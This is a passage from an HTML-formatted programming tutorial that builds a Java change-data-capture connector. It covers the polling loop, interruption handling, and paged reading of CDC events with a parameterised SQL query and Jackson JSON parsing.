    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"\nStarting continuous CDC polling..."&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Last processed event ID: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Polling interval: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" ms"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Press Ctrl+C to stop the connector.\n"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;isInterrupted&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;processAvailableEvents&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"CDC Connector stopped."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's examine the important parts.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Reading the Last Processed Event ID
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;getLastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before starting the polling loop, the connector reads the last successfully processed event ID from the &lt;code&gt;cdc_checkpoint&lt;/code&gt; table in the destination database.&lt;/p&gt;

&lt;p&gt;This allows the connector to resume processing from its previously recorded position when a new connection session starts.&lt;/p&gt;

&lt;p&gt;For a new connector installation, the initial checkpoint value is &lt;code&gt;0&lt;/code&gt;, as initialized in Section 3.5.&lt;/p&gt;

&lt;p&gt;We'll examine checkpoint management in detail in Section 7.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Displaying Polling Information
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"\nStarting continuous CDC polling..."&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Last processed event ID: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;
&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"Polling interval: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" ms"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These statements display useful information when the connector starts polling.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Starting continuous CDC polling...
Last processed event ID: 0
Polling interval: 2000 ms
Press Ctrl+C to stop the connector.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps monitor the connector's startup and current processing position.&lt;/p&gt;

&lt;h4&gt;
  
  
  3. Implementing the Continuous Polling Loop
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;isInterrupted&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;processAvailableEvents&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Wait before the next polling cycle.&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector continues polling as long as both conditions are satisfied:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;running&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The current thread has not been interrupted.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During each iteration, the connector invokes &lt;code&gt;processAvailableEvents()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This method retrieves available CDC events from the source database, processes them, and returns the updated last processed event ID.&lt;/p&gt;

&lt;p&gt;The returned value is used in the next polling iteration.&lt;/p&gt;

&lt;p&gt;We'll examine the event retrieval and processing logic in Section 5.5.&lt;/p&gt;

&lt;h4&gt;
  
  
  4. Controlling the Polling Interval
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;POLLING_INTERVAL_MS&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After processing the currently available events, the connector waits for the configured polling interval before starting another polling cycle.&lt;/p&gt;

&lt;p&gt;In our demonstration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.polling.interval.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;2000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the connector waits for two seconds between polling cycles.&lt;/p&gt;

&lt;p&gt;The polling interval controls how frequently the connector checks for newly available events when the current batch of available events has been processed.&lt;/p&gt;

&lt;h4&gt;
  
  
  5. Handling Thread Interruption
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the polling thread is interrupted while sleeping, the connector handles the interruption by:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Restoring the thread's interrupted status using &lt;code&gt;Thread.currentThread().interrupt()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Setting &lt;code&gt;running&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; to stop the polling loop.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This allows the connector to terminate its polling process cleanly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary
&lt;/h3&gt;

&lt;p&gt;In this subsection, we implemented the continuous polling mechanism.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reads the last processed event ID when a new connection session starts.&lt;/li&gt;
&lt;li&gt;Continuously invokes &lt;code&gt;processAvailableEvents()&lt;/code&gt; to process available CDC events.&lt;/li&gt;
&lt;li&gt;Uses the configured polling interval to control polling frequency.&lt;/li&gt;
&lt;li&gt;Updates the local processing position using the value returned by the event-processing method.&lt;/li&gt;
&lt;li&gt;Supports graceful termination through the &lt;code&gt;running&lt;/code&gt; flag and thread interruption.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The continuous polling mechanism is now in place. In the next subsection, we will examine how the connector retrieves CDC events from the source database and converts their JSON data into Java objects.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Reading and Processing CDC Events
&lt;/h3&gt;

&lt;p&gt;Now that the continuous polling mechanism is in place, let's examine how the connector retrieves CDC events from the source database.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;processAvailableEvents()&lt;/code&gt; method is responsible for:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Querying the &lt;code&gt;cdc_events&lt;/code&gt; table for unprocessed events.&lt;/li&gt;
&lt;li&gt;Retrieving the event ID, operation type, employee record ID, and captured employee data.&lt;/li&gt;
&lt;li&gt;Converting the JSON event data into Java objects using Jackson.&lt;/li&gt;
&lt;li&gt;Organizing the retrieved events for processing.&lt;/li&gt;
&lt;li&gt;Passing the events to the batch-processing method.&lt;/li&gt;
&lt;li&gt;Returning the updated processing position.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  Understanding the processAvailableEvents() Method
&lt;/h4&gt;

&lt;p&gt;The method accepts three parameters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sourceConnection&lt;/code&gt; – JDBC connection to the source database.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;destinationConnection&lt;/code&gt; – JDBC connection to the destination database.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lastProcessedEventId&lt;/code&gt; – The last event ID processed by the connector.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The implementation is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;processAvailableEvents&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
            SELECT event_id, operation, record_id, changed_data
            FROM cdc_events
            WHERE event_id &amp;gt; ?
            ORDER BY event_id
            LIMIT ?
            """&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                     &lt;span class="n"&gt;sourceConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="no"&gt;CDC_FETCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLong&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"event_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"operation"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;recordId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"record_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;changedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                            &lt;span class="n"&gt;resultSet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"changed_data"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                    &lt;span class="nc"&gt;JsonNode&lt;/span&gt; &lt;span class="n"&gt;employeeData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                            &lt;span class="no"&gt;OBJECT_MAPPER&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readTree&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;changedData&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

                    &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                            &lt;span class="n"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                            &lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                            &lt;span class="n"&gt;recordId&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                            &lt;span class="n"&gt;employeeData&lt;/span&gt;
                    &lt;span class="o"&gt;));&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// No more events are currently available.&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Process the fetched events in configured batch sizes.&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

            &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Math&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;min&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;BATCH_SIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="nc"&gt;List&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;CDCEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                    &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;subList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endIndex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="n"&gt;processBatchWithRetry&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;batch&lt;/span&gt;
            &lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
                    &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Continue fetching the next page.&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's examine the important parts.&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Querying the CDC Events Table
&lt;/h4&gt;

&lt;p&gt;The connector uses the following SQL query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;operation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;record_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;changed_data&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;cdc_events&lt;/span&gt;
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;
&lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



